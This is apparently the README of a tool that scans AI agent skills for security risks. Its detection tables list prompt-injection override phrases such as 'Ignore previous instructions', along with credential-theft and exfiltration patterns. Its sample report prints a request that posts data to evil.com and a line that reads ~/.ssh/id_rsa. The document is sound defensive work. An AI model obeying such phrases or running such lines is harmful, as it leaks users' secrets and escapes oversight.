leoyeai/skill-security-auditor

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

| Category | Patterns Detected | Severity | |----------|-------------------|----------| | Command injection | os.system(), os.popen(), subprocess.call(shell=True), backtick execution | 🔴 CRITICAL | | Code execution | eval(), exec(), compile(), __import__() | 🔴 CRITICAL | | Obfuscation | base64-encoded payloads, codecs.decode, hex-encoded strings, chr() chains | 🔴 CRITICAL | | Network exfiltration | requests.post(), urllib.request, socket.connect(), httpx, aiohttp | 🔴 CRITICAL | | Credential harvesting | reads from ~/.ssh, ~/.aws, ~/.config, env var extraction patterns | 🔴 CRITICAL | | File system abuse | writes outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation | 🟡 HIGH | | Privilege escalation | sudo, chmod 777, setuid, cron manipulation | 🔴 CRITICAL | | Unsafe deserialization | pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() | 🟡 HIGH | | Subprocess (safe) | subprocess.run() with list args, no shell | ⚪ INFO |

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

| Pattern | Example | Severity | |---------|---------|----------| | System prompt override | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | | Role hijacking | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | | Safety bypass | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | | Hidden instructions | Zero-width characters, HTML comments with directives | 🟡 HIGH | | Excessive permissions | "Run any command", "Full filesystem access" | 🟡 HIGH | | Data extraction | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL |

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

| Check | What It Does | Severity | |-------|-------------|----------| | Known vulnerabilities | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL | | Typosquatting | Flag packages similar to popular ones (e.g., reqeusts) | 🟡 HIGH | | Unpinned versions | Flag requests>=2.0 vs requests==2.31.0 | ⚪ INFO | | Install commands in code | pip install or npm install inside scripts | 🟡 HIGH | | Suspicious packages | Low download count, recent creation, single maintainer | ⚪ INFO |

4. File System & Structure

| Check | What It Does | Severity | |-------|-------------|----------| | Boundary violation | Scripts referencing paths outside skill directory | 🟡 HIGH | | Hidden files | .env, dotfiles that shouldn't be in a skill | 🟡 HIGH | | Binary files | Unexpected executables, .so, .dll, .exe | 🔴 CRITICAL | | Large files | Files >1MB that could hide payloads | ⚪ INFO | | Symlinks | Symbolic links pointing outside skill directory | 🔴 CRITICAL |

Audit Workflow

1. Run the scanner on the skill directory or repo URL
2. Review the report — findings grouped by severity
3. Verdict interpretation:
   • ✅ PASS — No critical or high findings. Safe to install.
   • ⚠️ WARN — High/medium findings detected. Review manually before installing.
   • ❌ FAIL — Critical findings. Do NOT install without remediation.
4. Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

• Cannot detect logic bombs or time-delayed payloads with certainty
• Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
• Network destination reputation checks require internet access
• Does not execute code — static analysis only (safe but less complete than dynamic analysis)
• Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.